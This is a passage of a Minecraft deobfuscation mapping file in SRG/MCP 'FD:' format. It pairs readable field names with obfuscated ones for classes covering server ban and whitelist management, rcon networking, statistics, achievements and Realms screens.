net/minecraft/server/management/PreYggdrasilConverter$2/field_152734_a net/minecraft/server/management/PreYggdrasilConverter$2/field_152734_a +FD: net/minecraft/server/management/PreYggdrasilConverter$2/field_152735_b net/minecraft/server/management/PreYggdrasilConverter$2/field_152735_b +FD: net/minecraft/server/management/PreYggdrasilConverter$2/field_152736_c net/minecraft/server/management/PreYggdrasilConverter$2/field_152736_c +FD: net/minecraft/server/management/PreYggdrasilConverter$3/field_152737_a net/minecraft/server/management/PreYggdrasilConverter$3/field_152737_a +FD: net/minecraft/server/management/PreYggdrasilConverter$3/field_152738_b net/minecraft/server/management/PreYggdrasilConverter$3/field_152738_b +FD: net/minecraft/server/management/PreYggdrasilConverter$4/field_152739_a net/minecraft/server/management/PreYggdrasilConverter$4/field_152739_a +FD: net/minecraft/server/management/PreYggdrasilConverter$4/field_152740_b net/minecraft/server/management/PreYggdrasilConverter$4/field_152740_b +FD: net/minecraft/server/management/PreYggdrasilConverter$5/field_152741_a net/minecraft/server/management/PreYggdrasilConverter$5/field_152741_a +FD: net/minecraft/server/management/PreYggdrasilConverter$5/field_152742_b net/minecraft/server/management/PreYggdrasilConverter$5/field_152742_b +FD: net/minecraft/server/management/PreYggdrasilConverter$6/field_152745_a net/minecraft/server/management/PreYggdrasilConverter$6/field_152745_a +FD: net/minecraft/server/management/PreYggdrasilConverter$6/field_152746_b net/minecraft/server/management/PreYggdrasilConverter$6/field_152746_b +FD: net/minecraft/server/management/PreYggdrasilConverter$6/field_152747_c net/minecraft/server/management/PreYggdrasilConverter$6/field_152747_c +FD: net/minecraft/server/management/PreYggdrasilConverter$6/field_152748_d net/minecraft/server/management/PreYggdrasilConverter$6/field_152748_d +FD: net/minecraft/server/management/PreYggdrasilConverter$6/field_152749_e net/minecraft/server/management/PreYggdrasilConverter$6/field_152749_e +FD: net/minecraft/server/management/PreYggdrasilConverter/OLD_IPBAN_FILE net/minecraft/server/management/PreYggdrasilConverter/field_152728_a +FD: net/minecraft/server/management/PreYggdrasilConverter/OLD_PLAYERBAN_FILE net/minecraft/server/management/PreYggdrasilConverter/field_152729_b +FD: net/minecraft/server/management/PreYggdrasilConverter/OLD_OPS_FILE net/minecraft/server/management/PreYggdrasilConverter/field_152730_c +FD: net/minecraft/server/management/PreYggdrasilConverter/OLD_WHITELIST_FILE net/minecraft/server/management/PreYggdrasilConverter/field_152731_d +FD: net/minecraft/server/management/PreYggdrasilConverter/LOGGER net/minecraft/server/management/PreYggdrasilConverter/field_152732_e +FD: net/minecraft/server/management/ServerConfigurationManager$1/field_177697_a net/minecraft/server/management/ServerConfigurationManager$1/field_177697_a +FD: net/minecraft/server/management/ServerConfigurationManager/FILE_PLAYERBANS net/minecraft/server/management/ServerConfigurationManager/field_152613_a +FD: net/minecraft/server/management/ServerConfigurationManager/FILE_IPBANS net/minecraft/server/management/ServerConfigurationManager/field_152614_b +FD: net/minecraft/server/management/ServerConfigurationManager/FILE_OPS net/minecraft/server/management/ServerConfigurationManager/field_152615_c +FD: net/minecraft/server/management/ServerConfigurationManager/FILE_WHITELIST net/minecraft/server/management/ServerConfigurationManager/field_152616_d +FD: net/minecraft/server/management/ServerConfigurationManager/maxPlayers net/minecraft/server/management/ServerConfigurationManager/field_72405_c +FD: net/minecraft/server/management/ServerConfigurationManager/logger net/minecraft/server/management/ServerConfigurationManager/field_148546_d +FD: net/minecraft/server/management/ServerConfigurationManager/dateFormat net/minecraft/server/management/ServerConfigurationManager/field_72403_e +FD: net/minecraft/server/management/ServerConfigurationManager/mcServer net/minecraft/server/management/ServerConfigurationManager/field_72400_f +FD: net/minecraft/server/management/ServerConfigurationManager/playerEntityList net/minecraft/server/management/ServerConfigurationManager/field_72404_b +FD: net/minecraft/server/management/ServerConfigurationManager/uuidToPlayerMap net/minecraft/server/management/ServerConfigurationManager/field_177454_f +FD: net/minecraft/server/management/ServerConfigurationManager/bannedPlayers net/minecraft/server/management/ServerConfigurationManager/field_72401_g +FD: net/minecraft/server/management/ServerConfigurationManager/bannedIPs net/minecraft/server/management/ServerConfigurationManager/field_72413_h +FD: net/minecraft/server/management/ServerConfigurationManager/ops net/minecraft/server/management/ServerConfigurationManager/field_72414_i +FD: net/minecraft/server/management/ServerConfigurationManager/whiteListedPlayers net/minecraft/server/management/ServerConfigurationManager/field_72411_j +FD: net/minecraft/server/management/ServerConfigurationManager/playerStatFiles net/minecraft/server/management/ServerConfigurationManager/field_148547_k +FD: net/minecraft/server/management/ServerConfigurationManager/playerNBTManagerObj net/minecraft/server/management/ServerConfigurationManager/field_72412_k +FD: net/minecraft/server/management/ServerConfigurationManager/whiteListEnforced net/minecraft/server/management/ServerConfigurationManager/field_72409_l +FD: net/minecraft/server/management/ServerConfigurationManager/viewDistance net/minecraft/server/management/ServerConfigurationManager/field_72402_d +FD: net/minecraft/server/management/ServerConfigurationManager/gameType net/minecraft/server/management/ServerConfigurationManager/field_72410_m +FD: net/minecraft/server/management/ServerConfigurationManager/commandsAllowedForAll net/minecraft/server/management/ServerConfigurationManager/field_72407_n +FD: net/minecraft/server/management/ServerConfigurationManager/playerPingIndex net/minecraft/server/management/ServerConfigurationManager/field_72408_o +FD: net/minecraft/server/management/UserListOpsEntry/permissionLevel net/minecraft/server/management/UserListOpsEntry/field_152645_a +FD: net/minecraft/server/management/UserListOpsEntry/bypassesPlayerLimit net/minecraft/server/management/UserListOpsEntry/field_183025_b +FD: net/minecraft/server/management/UserListEntry/value net/minecraft/server/management/UserListEntry/field_152642_a +FD: net/minecraft/server/management/UserList$Serializer/field_152752_a net/minecraft/server/management/UserList$Serializer/field_152752_a +FD: net/minecraft/server/management/UserList/logger net/minecraft/server/management/UserList/field_152693_a +FD: net/minecraft/server/management/UserList/gson net/minecraft/server/management/UserList/field_152694_b +FD: net/minecraft/server/management/UserList/saveFile net/minecraft/server/management/UserList/field_152695_c +FD: net/minecraft/server/management/UserList/values net/minecraft/server/management/UserList/field_152696_d +FD: net/minecraft/server/management/UserList/lanServer net/minecraft/server/management/UserList/field_152697_e +FD: net/minecraft/server/management/UserList/saveFileFormat net/minecraft/server/management/UserList/field_152698_f +FD: net/minecraft/network/rcon/RConOutputStream/byteArrayOutput net/minecraft/network/rcon/RConOutputStream/field_72674_a +FD: net/minecraft/network/rcon/RConOutputStream/output net/minecraft/network/rcon/RConOutputStream/field_72673_b +FD: net/minecraft/network/rcon/RConUtils/hexDigits net/minecraft/network/rcon/RConUtils/field_72666_a +FD: net/minecraft/network/rcon/RConConsoleSource/instance net/minecraft/network/rcon/RConConsoleSource/field_70010_a +FD: net/minecraft/network/rcon/RConConsoleSource/buffer net/minecraft/network/rcon/RConConsoleSource/field_70009_b +FD: net/minecraft/network/rcon/RConThreadBase/running net/minecraft/network/rcon/RConThreadBase/field_72619_a +FD: net/minecraft/network/rcon/RConThreadBase/server net/minecraft/network/rcon/RConThreadBase/field_72617_b +FD: net/minecraft/network/rcon/RConThreadBase/threadName net/minecraft/network/rcon/RConThreadBase/field_164003_c +FD: net/minecraft/network/rcon/RConThreadBase/rconThread net/minecraft/network/rcon/RConThreadBase/field_72618_c +FD: net/minecraft/network/rcon/RConThreadBase/field_72615_d net/minecraft/network/rcon/RConThreadBase/field_72615_d +FD: net/minecraft/network/rcon/RConThreadBase/socketList net/minecraft/network/rcon/RConThreadBase/field_72616_e +FD: net/minecraft/network/rcon/RConThreadBase/serverSocketList net/minecraft/network/rcon/RConThreadBase/field_72614_f +FD: net/minecraft/network/rcon/RConThreadBase/THREAD_ID net/minecraft/network/rcon/RConThreadBase/field_164004_h +FD: net/minecraft/network/rcon/RConThreadQuery$Auth/field_72600_a net/minecraft/network/rcon/RConThreadQuery$Auth/field_72600_a +FD: net/minecraft/network/rcon/RConThreadQuery$Auth/timestamp net/minecraft/network/rcon/RConThreadQuery$Auth/field_72598_b +FD: net/minecraft/network/rcon/RConThreadQuery$Auth/randomChallenge net/minecraft/network/rcon/RConThreadQuery$Auth/field_72599_c +FD: net/minecraft/network/rcon/RConThreadQuery$Auth/requestId net/minecraft/network/rcon/RConThreadQuery$Auth/field_72596_d +FD: net/minecraft/network/rcon/RConThreadQuery$Auth/challengeValue net/minecraft/network/rcon/RConThreadQuery$Auth/field_72597_e +FD: net/minecraft/network/rcon/RConThreadQuery$Auth/requestIdAsString net/minecraft/network/rcon/RConThreadQuery$Auth/field_72595_f +FD: net/minecraft/network/rcon/RConThreadQuery/lastAuthCheckTime net/minecraft/network/rcon/RConThreadQuery/field_72629_g +FD: net/minecraft/network/rcon/RConThreadQuery/queryPort net/minecraft/network/rcon/RConThreadQuery/field_72636_h +FD: net/minecraft/network/rcon/RConThreadQuery/serverPort net/minecraft/network/rcon/RConThreadQuery/field_72637_i +FD: net/minecraft/network/rcon/RConThreadQuery/maxPlayers net/minecraft/network/rcon/RConThreadQuery/field_72634_j +FD: net/minecraft/network/rcon/RConThreadQuery/serverMotd net/minecraft/network/rcon/RConThreadQuery/field_72635_k +FD: net/minecraft/network/rcon/RConThreadQuery/worldName net/minecraft/network/rcon/RConThreadQuery/field_72632_l +FD: net/minecraft/network/rcon/RConThreadQuery/querySocket net/minecraft/network/rcon/RConThreadQuery/field_72633_m +FD: net/minecraft/network/rcon/RConThreadQuery/buffer net/minecraft/network/rcon/RConThreadQuery/field_72630_n +FD: net/minecraft/network/rcon/RConThreadQuery/incomingPacket net/minecraft/network/rcon/RConThreadQuery/field_72631_o +FD: net/minecraft/network/rcon/RConThreadQuery/field_72644_p net/minecraft/network/rcon/RConThreadQuery/field_72644_p +FD: net/minecraft/network/rcon/RConThreadQuery/queryHostname net/minecraft/network/rcon/RConThreadQuery/field_72643_q +FD: net/minecraft/network/rcon/RConThreadQuery/serverHostname net/minecraft/network/rcon/RConThreadQuery/field_72642_r +FD: net/minecraft/network/rcon/RConThreadQuery/queryClients net/minecraft/network/rcon/RConThreadQuery/field_72641_s +FD: net/minecraft/network/rcon/RConThreadQuery/time net/minecraft/network/rcon/RConThreadQuery/field_72640_t +FD: net/minecraft/network/rcon/RConThreadQuery/output net/minecraft/network/rcon/RConThreadQuery/field_72639_u +FD: net/minecraft/network/rcon/RConThreadQuery/lastQueryResponseTime net/minecraft/network/rcon/RConThreadQuery/field_72638_v +FD: net/minecraft/network/rcon/RConThreadClient/LOGGER net/minecraft/network/rcon/RConThreadClient/field_164005_h +FD: net/minecraft/network/rcon/RConThreadClient/loggedIn net/minecraft/network/rcon/RConThreadClient/field_72657_g +FD: net/minecraft/network/rcon/RConThreadClient/clientSocket net/minecraft/network/rcon/RConThreadClient/field_72659_h +FD: net/minecraft/network/rcon/RConThreadClient/buffer net/minecraft/network/rcon/RConThreadClient/field_72660_i +FD: net/minecraft/network/rcon/RConThreadClient/rconPassword net/minecraft/network/rcon/RConThreadClient/field_72658_j +FD: net/minecraft/network/rcon/RConThreadMain/rconPort net/minecraft/network/rcon/RConThreadMain/field_72647_g +FD: net/minecraft/network/rcon/RConThreadMain/serverPort net/minecraft/network/rcon/RConThreadMain/field_72651_h +FD: net/minecraft/network/rcon/RConThreadMain/hostname net/minecraft/network/rcon/RConThreadMain/field_72652_i +FD: net/minecraft/network/rcon/RConThreadMain/serverSocket net/minecraft/network/rcon/RConThreadMain/field_72649_j +FD: net/minecraft/network/rcon/RConThreadMain/rconPassword net/minecraft/network/rcon/RConThreadMain/field_72650_k +FD: net/minecraft/network/rcon/RConThreadMain/clientThreads net/minecraft/network/rcon/RConThreadMain/field_72648_l +FD: net/minecraft/stats/Achievement/displayColumn net/minecraft/stats/Achievement/field_75993_a +FD: net/minecraft/stats/Achievement/displayRow net/minecraft/stats/Achievement/field_75991_b +FD: net/minecraft/stats/Achievement/parentAchievement net/minecraft/stats/Achievement/field_75992_c +FD: net/minecraft/stats/Achievement/theItemStack net/minecraft/stats/Achievement/field_75990_d +FD: net/minecraft/stats/Achievement/achievementDescription net/minecraft/stats/Achievement/field_75996_k +FD: net/minecraft/stats/Achievement/statStringFormatter net/minecraft/stats/Achievement/field_75994_l +FD: net/minecraft/stats/Achievement/isSpecial net/minecraft/stats/Achievement/field_75995_m +FD: net/minecraft/stats/AchievementList/blazeRod net/minecraft/stats/AchievementList/field_76027_z +FD: net/minecraft/stats/AchievementList/potion net/minecraft/stats/AchievementList/field_76001_A +FD: net/minecraft/stats/AchievementList/theEnd net/minecraft/stats/AchievementList/field_76002_B +FD: net/minecraft/stats/AchievementList/theEnd2 net/minecraft/stats/AchievementList/field_76003_C +FD: net/minecraft/stats/AchievementList/enchantments net/minecraft/stats/AchievementList/field_75998_D +FD: net/minecraft/stats/AchievementList/overkill net/minecraft/stats/AchievementList/field_75999_E +FD: net/minecraft/stats/AchievementList/bookcase net/minecraft/stats/AchievementList/field_76000_F +FD: net/minecraft/stats/AchievementList/breedCow net/minecraft/stats/AchievementList/field_150962_H +FD: net/minecraft/stats/AchievementList/spawnWither net/minecraft/stats/AchievementList/field_150963_I +FD: net/minecraft/stats/AchievementList/killWither net/minecraft/stats/AchievementList/field_150964_J +FD: net/minecraft/stats/AchievementList/fullBeacon net/minecraft/stats/AchievementList/field_150965_K +FD: net/minecraft/stats/AchievementList/exploreAllBiomes net/minecraft/stats/AchievementList/field_150961_L +FD: net/minecraft/stats/AchievementList/overpowered net/minecraft/stats/AchievementList/field_180219_M +FD: net/minecraft/stats/AchievementList/minDisplayColumn net/minecraft/stats/AchievementList/field_76010_a +FD: net/minecraft/stats/AchievementList/minDisplayRow net/minecraft/stats/AchievementList/field_76008_b +FD: net/minecraft/stats/AchievementList/maxDisplayColumn net/minecraft/stats/AchievementList/field_76009_c +FD: net/minecraft/stats/AchievementList/maxDisplayRow net/minecraft/stats/AchievementList/field_76006_d +FD: net/minecraft/stats/AchievementList/achievementList net/minecraft/stats/AchievementList/field_76007_e +FD: net/minecraft/stats/AchievementList/openInventory net/minecraft/stats/AchievementList/field_76004_f +FD: net/minecraft/stats/AchievementList/mineWood net/minecraft/stats/AchievementList/field_76005_g +FD: net/minecraft/stats/AchievementList/buildWorkBench net/minecraft/stats/AchievementList/field_76017_h +FD: net/minecraft/stats/AchievementList/buildPickaxe net/minecraft/stats/AchievementList/field_76018_i +FD: net/minecraft/stats/AchievementList/buildFurnace net/minecraft/stats/AchievementList/field_76015_j +FD: net/minecraft/stats/AchievementList/acquireIron net/minecraft/stats/AchievementList/field_76016_k +FD: net/minecraft/stats/AchievementList/buildHoe net/minecraft/stats/AchievementList/field_76013_l +FD: net/minecraft/stats/AchievementList/makeBread net/minecraft/stats/AchievementList/field_76014_m +FD: net/minecraft/stats/AchievementList/bakeCake net/minecraft/stats/AchievementList/field_76011_n +FD: net/minecraft/stats/AchievementList/buildBetterPickaxe net/minecraft/stats/AchievementList/field_76012_o +FD: net/minecraft/stats/AchievementList/cookFish net/minecraft/stats/AchievementList/field_76026_p +FD: net/minecraft/stats/AchievementList/onARail net/minecraft/stats/AchievementList/field_76025_q +FD: net/minecraft/stats/AchievementList/buildSword net/minecraft/stats/AchievementList/field_76024_r +FD: net/minecraft/stats/AchievementList/killEnemy net/minecraft/stats/AchievementList/field_76023_s +FD: net/minecraft/stats/AchievementList/killCow net/minecraft/stats/AchievementList/field_76022_t +FD: net/minecraft/stats/AchievementList/flyPig net/minecraft/stats/AchievementList/field_76021_u +FD: net/minecraft/stats/AchievementList/snipeSkeleton net/minecraft/stats/AchievementList/field_76020_v +FD: net/minecraft/stats/AchievementList/diamonds net/minecraft/stats/AchievementList/field_76019_w +FD: net/minecraft/stats/AchievementList/diamondsToYou net/minecraft/stats/AchievementList/field_150966_x +FD: net/minecraft/stats/AchievementList/portal net/minecraft/stats/AchievementList/field_76029_x +FD: net/minecraft/stats/AchievementList/ghast net/minecraft/stats/AchievementList/field_76028_y +FD: net/minecraft/stats/StatCrafting/field_150960_a net/minecraft/stats/StatCrafting/field_150960_a +FD: net/minecraft/stats/StatisticsFile/logger net/minecraft/stats/StatisticsFile/field_150889_b +FD: net/minecraft/stats/StatisticsFile/mcServer net/minecraft/stats/StatisticsFile/field_150890_c +FD: net/minecraft/stats/StatisticsFile/statsFile net/minecraft/stats/StatisticsFile/field_150887_d +FD: net/minecraft/stats/StatisticsFile/field_150888_e net/minecraft/stats/StatisticsFile/field_150888_e +FD: net/minecraft/stats/StatisticsFile/field_150885_f net/minecraft/stats/StatisticsFile/field_150885_f +FD: net/minecraft/stats/StatisticsFile/field_150886_g net/minecraft/stats/StatisticsFile/field_150886_g +FD: net/minecraft/stats/StatBase/statName net/minecraft/stats/StatBase/field_75978_a +FD: net/minecraft/stats/StatBase/type net/minecraft/stats/StatBase/field_75976_b +FD: net/minecraft/stats/StatBase/objectiveCriteria net/minecraft/stats/StatBase/field_150957_c +FD: net/minecraft/stats/StatBase/field_150956_d net/minecraft/stats/StatBase/field_150956_d +FD: net/minecraft/stats/StatBase/statId net/minecraft/stats/StatBase/field_75975_e +FD: net/minecraft/stats/StatBase/isIndependent net/minecraft/stats/StatBase/field_75972_f +FD: net/minecraft/stats/StatBase/simpleStatType net/minecraft/stats/StatBase/field_75980_h +FD: net/minecraft/stats/StatBase/timeStatType net/minecraft/stats/StatBase/field_75981_i +FD: net/minecraft/stats/StatBase/distanceStatType net/minecraft/stats/StatBase/field_75979_j +FD: net/minecraft/stats/StatBase/field_111202_k net/minecraft/stats/StatBase/field_111202_k +FD: net/minecraft/stats/StatBase/numberFormat net/minecraft/stats/StatBase/field_75977_c +FD: net/minecraft/stats/StatBase/decimalFormat net/minecraft/stats/StatBase/field_75974_d +FD: net/minecraft/util/TupleIntJsonSerializable/integerValue net/minecraft/util/TupleIntJsonSerializable/field_151192_a +FD: net/minecraft/util/TupleIntJsonSerializable/jsonSerializableValue net/minecraft/util/TupleIntJsonSerializable/field_151191_b +FD: net/minecraft/command/CommandResultStats$1/field_181547_a net/minecraft/command/CommandResultStats$1/field_181547_a +FD: net/minecraft/command/CommandResultStats$1/field_181548_b net/minecraft/command/CommandResultStats$1/field_181548_b +FD: net/minecraft/command/CommandResultStats$Type/SUCCESS_COUNT net/minecraft/command/CommandResultStats$Type/SUCCESS_COUNT +FD: net/minecraft/command/CommandResultStats$Type/AFFECTED_BLOCKS net/minecraft/command/CommandResultStats$Type/AFFECTED_BLOCKS +FD: net/minecraft/command/CommandResultStats$Type/AFFECTED_ENTITIES net/minecraft/command/CommandResultStats$Type/AFFECTED_ENTITIES +FD: net/minecraft/command/CommandResultStats$Type/AFFECTED_ITEMS net/minecraft/command/CommandResultStats$Type/AFFECTED_ITEMS +FD: net/minecraft/command/CommandResultStats$Type/QUERY_RESULT net/minecraft/command/CommandResultStats$Type/QUERY_RESULT +FD: net/minecraft/command/CommandResultStats$Type/typeID net/minecraft/command/CommandResultStats$Type/field_179639_f +FD: net/minecraft/command/CommandResultStats$Type/typeName net/minecraft/command/CommandResultStats$Type/field_179640_g +FD: net/minecraft/command/CommandResultStats$Type/$VALUES net/minecraft/command/CommandResultStats$Type/$VALUES +FD: net/minecraft/command/CommandResultStats/NUM_RESULT_TYPES net/minecraft/command/CommandResultStats/field_179676_a +FD: net/minecraft/command/CommandResultStats/STRING_RESULT_TYPES net/minecraft/command/CommandResultStats/field_179674_b +FD: net/minecraft/command/CommandResultStats/entitiesID net/minecraft/command/CommandResultStats/field_179675_c +FD: net/minecraft/command/CommandResultStats/objectives net/minecraft/command/CommandResultStats/field_179673_d +FD: net/minecraft/stats/StatList/animalsBredStat net/minecraft/stats/StatList/field_151186_x +FD: net/minecraft/stats/StatList/playerKillsStat net/minecraft/stats/StatList/field_75932_A +FD: net/minecraft/stats/StatList/fishCaughtStat net/minecraft/stats/StatList/field_75933_B +FD: net/minecraft/stats/StatList/junkFishedStat net/minecraft/stats/StatList/field_151183_A +FD: net/minecraft/stats/StatList/treasureFishedStat net/minecraft/stats/StatList/field_151184_B +FD: net/minecraft/stats/StatList/timesTalkedToVillagerStat net/minecraft/stats/StatList/field_180205_F +FD: net/minecraft/stats/StatList/timesTradedWithVillagerStat net/minecraft/stats/StatList/field_180206_G +FD: net/minecraft/stats/StatList/field_181724_H net/minecraft/stats/StatList/field_181724_H +FD: net/minecraft/stats/StatList/field_181725_I net/minecraft/stats/StatList/field_181725_I +FD: net/minecraft/stats/StatList/field_181726_J net/minecraft/stats/StatList/field_181726_J +FD: net/minecraft/stats/StatList/field_181727_K net/minecraft/stats/StatList/field_181727_K +FD: net/minecraft/stats/StatList/field_181728_L net/minecraft/stats/StatList/field_181728_L +FD: net/minecraft/stats/StatList/field_181729_M net/minecraft/stats/StatList/field_181729_M +FD: net/minecraft/stats/StatList/field_181730_N net/minecraft/stats/StatList/field_181730_N +FD: net/minecraft/stats/StatList/field_181731_O net/minecraft/stats/StatList/field_181731_O +FD: net/minecraft/stats/StatList/field_181732_P net/minecraft/stats/StatList/field_181732_P +FD: net/minecraft/stats/StatList/field_181733_Q net/minecraft/stats/StatList/field_181733_Q +FD: net/minecraft/stats/StatList/field_181734_R net/minecraft/stats/StatList/field_181734_R +FD: net/minecraft/stats/StatList/field_181735_S net/minecraft/stats/StatList/field_181735_S +FD: net/minecraft/stats/StatList/field_181736_T net/minecraft/stats/StatList/field_181736_T +FD: net/minecraft/stats/StatList/field_181737_U net/minecraft/stats/StatList/field_181737_U +FD: net/minecraft/stats/StatList/field_181738_V net/minecraft/stats/StatList/field_181738_V +FD: net/minecraft/stats/StatList/field_181739_W net/minecraft/stats/StatList/field_181739_W +FD: net/minecraft/stats/StatList/field_181740_X net/minecraft/stats/StatList/field_181740_X +FD: net/minecraft/stats/StatList/field_181741_Y net/minecraft/stats/StatList/field_181741_Y +FD: net/minecraft/stats/StatList/field_181742_Z net/minecraft/stats/StatList/field_181742_Z +FD: net/minecraft/stats/StatList/oneShotStats net/minecraft/stats/StatList/field_75942_a +FD: net/minecraft/stats/StatList/field_181723_aa net/minecraft/stats/StatList/field_181723_aa +FD: net/minecraft/stats/StatList/mineBlockStatArray net/minecraft/stats/StatList/field_75934_C +FD: net/minecraft/stats/StatList/objectCraftStats net/minecraft/stats/StatList/field_75928_D +FD: net/minecraft/stats/StatList/objectUseStats net/minecraft/stats/StatList/field_75929_E +FD: net/minecraft/stats/StatList/objectBreakStats net/minecraft/stats/StatList/field_75930_F +FD: net/minecraft/stats/StatList/allStats net/minecraft/stats/StatList/field_75940_b +FD: net/minecraft/stats/StatList/generalStats net/minecraft/stats/StatList/field_75941_c +FD: net/minecraft/stats/StatList/itemStats net/minecraft/stats/StatList/field_75938_d +FD: net/minecraft/stats/StatList/objectMineStats net/minecraft/stats/StatList/field_75939_e +FD: net/minecraft/stats/StatList/leaveGameStat net/minecraft/stats/StatList/field_75947_j +FD: net/minecraft/stats/StatList/minutesPlayedStat net/minecraft/stats/StatList/field_75948_k +FD: net/minecraft/stats/StatList/timeSinceDeathStat net/minecraft/stats/StatList/field_180209_h +FD: net/minecraft/stats/StatList/distanceWalkedStat net/minecraft/stats/StatList/field_75945_l +FD: net/minecraft/stats/StatList/distanceCrouchedStat net/minecraft/stats/StatList/field_180207_j +FD: net/minecraft/stats/StatList/distanceSprintedStat net/minecraft/stats/StatList/field_180208_k +FD: net/minecraft/stats/StatList/distanceSwumStat net/minecraft/stats/StatList/field_75946_m +FD: net/minecraft/stats/StatList/distanceFallenStat net/minecraft/stats/StatList/field_75943_n +FD: net/minecraft/stats/StatList/distanceClimbedStat net/minecraft/stats/StatList/field_75944_o +FD: net/minecraft/stats/StatList/distanceFlownStat net/minecraft/stats/StatList/field_75958_p +FD: net/minecraft/stats/StatList/distanceDoveStat net/minecraft/stats/StatList/field_75957_q +FD: net/minecraft/stats/StatList/distanceByMinecartStat net/minecraft/stats/StatList/field_75956_r +FD: net/minecraft/stats/StatList/distanceByBoatStat net/minecraft/stats/StatList/field_75955_s +FD: net/minecraft/stats/StatList/distanceByPigStat net/minecraft/stats/StatList/field_75954_t +FD: net/minecraft/stats/StatList/distanceByHorseStat net/minecraft/stats/StatList/field_151185_q +FD: net/minecraft/stats/StatList/jumpStat net/minecraft/stats/StatList/field_75953_u +FD: net/minecraft/stats/StatList/dropStat net/minecraft/stats/StatList/field_75952_v +FD: net/minecraft/stats/StatList/damageDealtStat net/minecraft/stats/StatList/field_75951_w +FD: net/minecraft/stats/StatList/damageTakenStat net/minecraft/stats/StatList/field_75961_x +FD: net/minecraft/stats/StatList/deathsStat net/minecraft/stats/StatList/field_75960_y +FD: net/minecraft/stats/StatList/mobKillsStat net/minecraft/stats/StatList/field_75959_z +FD: net/minecraft/stats/StatFileWriter/statsData net/minecraft/stats/StatFileWriter/field_150875_a +FD: net/minecraft/util/JsonSerializableSet/underlyingSet net/minecraft/util/JsonSerializableSet/field_151004_a +FD: net/minecraft/util/ClassInheritanceMultiMap$1/field_180211_a net/minecraft/util/ClassInheritanceMultiMap$1/field_180211_a +FD: net/minecraft/util/ClassInheritanceMultiMap$1/field_180210_b net/minecraft/util/ClassInheritanceMultiMap$1/field_180210_b +FD: net/minecraft/util/ClassInheritanceMultiMap/field_181158_a net/minecraft/util/ClassInheritanceMultiMap/field_181158_a +FD: net/minecraft/util/ClassInheritanceMultiMap/map net/minecraft/util/ClassInheritanceMultiMap/field_180218_a +FD: net/minecraft/util/ClassInheritanceMultiMap/knownKeys net/minecraft/util/ClassInheritanceMultiMap/field_180216_b +FD: net/minecraft/util/ClassInheritanceMultiMap/baseClass net/minecraft/util/ClassInheritanceMultiMap/field_180217_c +FD: net/minecraft/util/ClassInheritanceMultiMap/values net/minecraft/util/ClassInheritanceMultiMap/field_181745_e +FD: net/minecraft/client/main/Main$1/field_178749_a net/minecraft/client/main/Main$1/field_178749_a +FD: net/minecraft/client/main/Main$1/field_178748_b net/minecraft/client/main/Main$1/field_178748_b +FD: net/minecraft/realms/DisconnectedRealmsScreen/lines net/minecraft/realms/DisconnectedRealmsScreen/lines +FD: net/minecraft/realms/DisconnectedRealmsScreen/parent net/minecraft/realms/DisconnectedRealmsScreen/parent +FD: net/minecraft/realms/DisconnectedRealmsScreen/reason net/minecraft/realms/DisconnectedRealmsScreen/reason +FD: net/minecraft/realms/DisconnectedRealmsScreen/textHeight net/minecraft/realms/DisconnectedRealmsScreen/textHeight +FD: net/minecraft/realms/DisconnectedRealmsScreen/title net/minecraft/realms/DisconnectedRealmsScreen/title +FD: net/minecraft/realms/RealmsAnvilLevelStorageSource/levelStorageSource net/minecraft/realms/RealmsAnvilLevelStorageSource/levelStorageSource +FD: net/minecraft/realms/RealmsBridge/LOGGER net/minecraft/realms/RealmsBridge/LOGGER +FD: net/minecraft/realms/RealmsBridge/previousScreen net/minecraft/realms/RealmsBridge/previousScreen +FD: net/minecraft/realms/RealmsBufferBuilder/b net/minecraft/realms/RealmsBufferBuilder/b +FD: net/minecraft/realms/RealmsButton/WIDGETS_LOCATION net/minecraft/realms/RealmsButton/WIDGETS_LOCATION +FD: net/minecraft/realms/RealmsButton/proxy net/minecraft/realms/RealmsButton/proxy +FD: net/minecraft/realms/RealmsClickableScrolledSelectionList/proxy net/minecraft/realms/RealmsClickableScrolledSelectionList/proxy +FD: net/minecraft/realms/RealmsConnect$1/field_154355_a net/minecraft/realms/RealmsConnect$1/field_154355_a +FD: net/minecraft/realms/RealmsConnect$1/field_154356_b net/minecraft/realms/RealmsConnect$1/field_154356_b +FD: net/minecraft/realms/RealmsConnect$1/field_154357_c net/minecraft/realms/RealmsConnect$1/field_154357_c +FD: net/minecraft/realms/RealmsConnect/LOGGER net/minecraft/realms/RealmsConnect/LOGGER +FD: net/minecraft/realms/RealmsConnect/aborted net/minecraft/realms/RealmsConnect/aborted +FD: net/minecraft/realms/RealmsConnect/connection net/minecraft/realms/RealmsConnect/connection +FD: net/minecraft/realms/RealmsConnect/onlineScreen net/minecraft/realms/RealmsConnect/onlineScreen +FD: net/minecraft/realms/RealmsDefaultVertexFormat/BLOCK net/minecraft/realms/RealmsDefaultVertexFormat/BLOCK +FD: net/minecraft/realms/RealmsDefaultVertexFormat/BLOCK_NORMALS net/minecraft/realms/RealmsDefaultVertexFormat/BLOCK_NORMALS +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_COLOR net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_COLOR +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_NORMAL net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_NORMAL +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_PADDING net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_PADDING +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_POSITION net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_POSITION +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_UV0 net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_UV0 +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_UV1 net/minecraft/realms/RealmsDefaultVertexFormat/ELEMENT_UV1 +FD: net/minecraft/realms/RealmsDefaultVertexFormat/ENTITY net/minecraft/realms/RealmsDefaultVertexFormat/ENTITY +FD: net/minecraft/realms/RealmsDefaultVertexFormat/PARTICLE net/minecraft/realms/RealmsDefaultVertexFormat/PARTICLE +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION net/minecraft/realms/RealmsDefaultVertexFormat/POSITION +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_COLOR net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_COLOR +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_NORMAL net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_NORMAL +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX 